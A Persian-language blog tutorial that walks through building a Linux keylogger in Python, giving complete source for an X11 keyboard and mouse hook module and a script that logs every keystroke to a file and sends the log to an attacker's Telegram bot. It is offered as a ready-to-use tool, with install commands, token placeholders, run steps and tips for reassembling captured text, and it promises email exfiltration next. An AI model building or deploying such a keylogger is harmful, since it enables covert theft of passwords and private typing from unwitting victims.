قبلا در مورد ساخت کی لاگر ویندوز و وب پست منتشر کرده بودیم ، اما تو این پست میخوایم بپردازیم به آموزش ساخت کی لاگر لینوکسی با استفاده از پایتون که بصورت پیشفرض توی لینوکس نصب شده و نیازی نیست که مجدد نصبش کنیم و در آخر هم لاگ های ذخیره شده رو میفرستیم به ربات تلگرام ، خب بریم سر اصل مطلب
اول از همه باید کتابخونه های مورد نیاز رو نصب کنیم که برای اینکار لینوکس خودتون رو استارت کنین و به ترتیب دستورات پایین رو توی ترمینال لینوکسی وارد کنین تا از نظر کتابخونه بی نیاز بشیم
pip install Xlib
بعد از اینکه این دستور رو زدیم ، منتظر میمونیم تا کتابخونه دانلود و نصب بشه و بعد از اینکه تموم شد دستور پایین رو میزنیم تا کتابخونه ی دوم مورد نظرمون نصب بشه
pip install python-telegram-bot
خب این از کتابخونه های مورد نیازمون ، بعدش وارد این پست میشیم و یاد میگیریم که چطور باید یه ربات رو بسازیم و به یوزر آی دی و... خودمون دست پیدا کنیم و بعدش بر میگردیم به ادامه ی همین پست
خب حالا یه پوشه روی دسکتاپ ایجاد میکنیم و سه تا فایل با اسم های زیر داخلش میسازیم
1- یه فایل با نام hook.py
2- یه فایل دیگه به نام keylogger.py
3- در آخر هم یه فایل با اسم file.log
خب بعد از اینکه ساختیم ، به ترتیب فایل هارو ویروایش میکنیم که برای اینکار توی لینوکس میتونیم راست کلیک کنیم رو فایل و گزینه ی ویرایش با ویرایشگر متنی رو بزنیم
اول فایل hook.py رو ویرایش میکنیم و بعد از اینکه کدارو کپی کردیم داخلش ، سیو میکنیم و میریم برای فایل بعدی
from __future__ import print_function
import sys
import re
import time
import threading
from Xlib import X, XK, display
from Xlib.ext import record
from Xlib.protocol import rq
class HookManager(threading.Thread):
"""
This is the main class. Instantiate it, and you can hand it KeyDown
and KeyUp (functions in your own code) which execute to parse the
PyxHookKeyEvent class that is returned.
This simply takes these two values for now:
KeyDown : The function to execute when a key is pressed, if it
returns anything. It hands the function an argument that
is the PyxHookKeyEvent class.
KeyUp : The function to execute when a key is released, if it
returns anything. It hands the function an argument that is
the PyxHookKeyEvent class.
"""
def __init__(self):
threading.Thread.__init__(self)
self.finished = threading.Event()
self.mouse_position_x = 0
self.mouse_position_y = 0
self.ison = {"shift": False, "caps": False}
self.isshift = re.compile('^Shift')
self.iscaps = re.compile('^Caps_Lock')
self.shiftablechar = re.compile('|'.join((
'^[a-z0-9]$',
'^minus$',
'^equal$',
'^bracketleft$',
'^bracketright$',
'^semicolon$',
'^backslash$',
'^apostrophe$',
'^comma$',
'^period$',
'^slash$',
'^grave$'
)))
self.logrelease = re.compile('.*')
self.isspace = re.compile('^space$')
self.KeyDown = lambda x: True
self.KeyUp = lambda x: True
self.MouseAllButtonsDown = lambda x: True
self.MouseAllButtonsUp = lambda x: True
self.MouseMovement = lambda x: True
self.contextEventMask = [X.KeyPress, X.MotionNotify]
self.local_dpy = display.Display()
self.record_dpy = display.Display()
def run(self):
if not self.record_dpy.has_extension("RECORD"):
print("RECORD extension not found", file=sys.stderr)
sys.exit(1)
self.ctx = self.record_dpy.record_create_context(
0,
[record.AllClients],
[{
'core_requests': (0, 0),
'core_replies': (0, 0),
'ext_requests': (0, 0, 0, 0),
'ext_replies': (0, 0, 0, 0),
'delivered_events': (0, 0),
'device_events': tuple(self.contextEventMask),
'errors': (0, 0),
'client_started': False,
'client_died': False,
}])
self.record_dpy.record_enable_context(self.ctx, self.processevents)
self.record_dpy.record_free_context(self.ctx)
def cancel(self):
self.finished.set()
self.local_dpy.record_disable_context(self.ctx)
self.local_dpy.flush()
def printevent(self, event):
print(event)
def HookKeyboard(self):
pass
def HookMouse(self):
"""
We don't need to do anything here anymore, since the default mask
is now set to contain X.MotionNotify
"""
pass
def processevents(self, reply):
if reply.category != record.FromServer:
return
if reply.client_swapped:
print("* received swapped protocol data, cowardly ignored")
return
try:
intval = ord(reply.data[0])
except TypeError:
intval = reply.data[0]
if (not reply.data) or (intval < 2):
return
data = reply.data
while len(data):
event, data = rq.EventField(None).parse_binary_value(
data,
self.record_dpy.display,
None,
None
)
if event.type == X.KeyPress:
hookevent = self.keypressevent(event)
self.KeyDown(hookevent)
elif event.type == X.KeyRelease:
hookevent = self.keyreleaseevent(event)
self.KeyUp(hookevent)
elif event.type == X.ButtonPress:
hookevent = self.buttonpressevent(event)
self.MouseAllButtonsDown(hookevent)
elif event.type == X.ButtonRelease:
hookevent = self.buttonreleaseevent(event)
self.MouseAllButtonsUp(hookevent)
elif event.type == X.MotionNotify:
hookevent = self.mousemoveevent(event)
self.MouseMovement(hookevent)
def keypressevent(self, event):
matchto = self.lookup_keysym(
self.local_dpy.keycode_to_keysym(event.detail, 0)
)
if self.shiftablechar.match(
self.lookup_keysym(
self.local_dpy.keycode_to_keysym(event.detail, 0))):
if not self.ison["shift"]:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
return self.makekeyhookevent(keysym, event)
else:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)
return self.makekeyhookevent(keysym, event)
else:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
if self.isshift.match(matchto):
self.ison["shift"] = self.ison["shift"] + 1
elif self.iscaps.match(matchto):
if not self.ison["caps"]:
self.ison["shift"] = self.ison["shift"] + 1
self.ison["caps"] = True
if self.ison["caps"]:
self.ison["shift"] = self.ison["shift"] - 1
self.ison["caps"] = False
return self.makekeyhookevent(keysym, event)
def keyreleaseevent(self, event):
if self.shiftablechar.match(
self.lookup_keysym(
self.local_dpy.keycode_to_keysym(event.detail, 0))):
if not self.ison["shift"]:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
else:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)
else:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
matchto = self.lookup_keysym(keysym)
if self.isshift.match(matchto):
self.ison["shift"] = self.ison["shift"] - 1
return self.makekeyhookevent(keysym, event)
def buttonpressevent(self, event):
return self.makemousehookevent(event)
def buttonreleaseevent(self, event):
return self.makemousehookevent(event)
def mousemoveevent(self, event):
self.mouse_position_x = event.root_x
self.mouse_position_y = event.root_y
return self.makemousehookevent(event)
def lookup_keysym(self, keysym):
for name in dir(XK):
if name.startswith("XK_") and getattr(XK, name) == keysym:
return name.lstrip("XK_")
return "[{}]".format(keysym)
def asciivalue(self, keysym):
asciinum = XK.string_to_keysym(self.lookup_keysym(keysym))
return asciinum % 256
def makekeyhookevent(self, keysym, event):
storewm = self.xwindowinfo()
if event.type == X.KeyPress:
MessageName = "key down"
elif event.type == X.KeyRelease:
MessageName = "key up"
return PyxHookKeyEvent(
storewm["handle"],
storewm["name"],
storewm["class"],
self.lookup_keysym(keysym),
self.asciivalue(keysym),
False,
event.detail,
MessageName
)
def makemousehookevent(self, event):
storewm = self.xwindowinfo()
if event.detail == 1:
MessageName = "mouse left "
elif event.detail == 3:
MessageName = "mouse right "
elif event.detail == 2:
MessageName = "mouse middle "
elif event.detail == 5:
MessageName = "mouse wheel down "
elif event.detail == 4:
MessageName = "mouse wheel up "
else:
MessageName = "mouse {} ".format(event.detail)
if event.type == X.ButtonPress:
MessageName = "{} down".format(MessageName)
elif event.type == X.ButtonRelease:
MessageName = "{} up".format(MessageName)
else:
MessageName = "mouse moved"
return PyxHookMouseEvent(
storewm["handle"],
storewm["name"],
storewm["class"],
(self.mouse_position_x, self.mouse_position_y),
MessageName
)
def xwindowinfo(self):
try:
windowvar = self.local_dpy.get_input_focus().focus
wmname = windowvar.get_wm_name()
wmclass = windowvar.get_wm_class()
wmhandle = str(windowvar)[20:30]
except:
return {"name": None, "class": None, "handle": None}
if (wmname is None) and (wmclass is None):
try:
windowvar = windowvar.query_tree().parent
wmname = windowvar.get_wm_name()
wmclass = windowvar.get_wm_class()
wmhandle = str(windowvar)[20:30]
except:
return {"name": None, "class": None, "handle": None}
if wmclass is None:
return {"name": wmname, "class": wmclass, "handle": wmhandle}
else:
return {"name": wmname, "class": wmclass[0], "handle": wmhandle}
class PyxHookKeyEvent:
"""
This is the class that is returned with each key event.f
It simply creates the variables below in the class.
Window : The handle of the window.
WindowName : The name of the window.
WindowProcName : The backend process for the window.
Key : The key pressed, shifted to the correct caps value.
Ascii : An ascii representation of the key. It returns 0 if
the ascii value is not between 31 and 256.
KeyID : This is just False for now. Under windows, it is the
Virtual Key Code, but that's a windows-only thing.
ScanCode : Please don't use this. It differs for pretty much
every type of keyboard. X11 abstracts this
information anyway.
MessageName : "key down", "key up".
"""
def __init__(
self, Window, WindowName, WindowProcName, Key, Ascii, KeyID,
ScanCode, MessageName):
self.Window = Window
self.WindowName = WindowName
self.WindowProcName = WindowProcName
self.Key = Key
self.Ascii = Ascii
self.KeyID = KeyID
self.ScanCode = ScanCode
self.MessageName = MessageName
def __str__(self):
return '\n'.join((
'Window Handle: {s.Window}',
'Window Name: {s.WindowName}',
'Window\'s Process Name: {s.WindowProcName}',
'Key Pressed: {s.Key}',
'Ascii Value: {s.Ascii}',
'KeyID: {s.KeyID}',
'ScanCode: {s.ScanCode}',
'MessageName: {s.MessageName}',
)).format(s=self)
class PyxHookMouseEvent:
"""
This is the class that is returned with each key event.f
It simply creates the variables below in the class.
Window : The handle of the window.
WindowName : The name of the window.
WindowProcName : The backend process for the window.
Position : 2-tuple (x,y) coordinates of the mouse click.
MessageName : "mouse left|right|middle down",
"mouse left|right|middle up".
"""
def __init__(
self, Window, WindowName, WindowProcName, Position, MessageName):
self.Window = Window
self.WindowName = WindowName
self.WindowProcName = WindowProcName
self.Position = Position
self.MessageName = MessageName
def __str__(self):
return '\n'.join((
'Window Handle: {s.Window}',
'Window\'s Process Name: {s.WindowProcName}',
'Position: {s.Position}',
'MessageName: {s.MessageName}',
)).format(s=self)
خب حالا فایل keylogger.py رو ویرایش میکنیم و مجددا بعد از اینکه کدای زیر رو کپی کردیم داخلش شروع میکنیم به ویرایش توکن ربات و یوزر آی دی که من رنگشونو با قرمز اینجا نوشتم تا بعد از اینکه شما مشخصات دریافت شده از ربات های تلگرامی رو انجام دادین ، تو کداتون بنویسین
from telegram.ext import Updater
from telegram.ext import CommandHandler
import hook
updater = Updater(token='TOKEN')
dispatcher = updater.dispatcher
log_file='file.log'
def sss(event):
fob=open(log_file,'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii==96:
fob.close()
new_hook.cancel()
def start(bot, update):
d = open(log_file,'rb')
bot.sendDocument(chat_id = NumberID, document = d)
ms = CommandHandler('start',start)
dispatcher.add_handler(ms)
new_hook=hook.HookManager()
new_hook.KeyDown=sss
new_hook.HookKeyboard()
new_hook.start()
updater.start_polling()
updater.idle()
خب حالا تو پوشه ای که فایل هارو ساختیم راست کلیک میکنیم و گزینه ی Open in Terminal رو میزنیم و بعدش دستور زیر رو برای اجرا شدن کدمون مینویسیم تا برناممون ران یا همون اجرا بشه
python keylogger.py
حالا هر چی که تایپ کنیم داخل فایل file.log ذخیره میشه و زمانی که به مقدار مشخص شده تو کد ها برسه ، برای رباتی که براش کد نوشتیم ، ارسال میشه
نکته --> کدارو طوری طراحی کردم که وقتی متنی تایپ میشه یا ... حروف بصورت خط به خط بشه مثلا من اگه بنویسم ifconfig ، لاگ ما به این شکل در میاد
i
f
c
o
n
f
i
g
حالا اینارو چیکار کنیم ؟ خیلی راحت کنار هم قرار میدیم تا ببینیم چی بدست میاد که خودتون اینو بهتر از من میدونین
برای بسته شدن برنامه هم کافیه ترمینال لینوکس رو ببندیم تا ذخیره لاگ ها متوقف بشه
راستی تو پست های بعدی در مورد ارسال ایمیل با پایتون قراره پست بزارم که میتونین ترکیب کنین و اگه نمیخواین لاگ ها به ربات ارسال بشه ، بصورت فایل بفرستین برای ایمیلتون
موفق باشید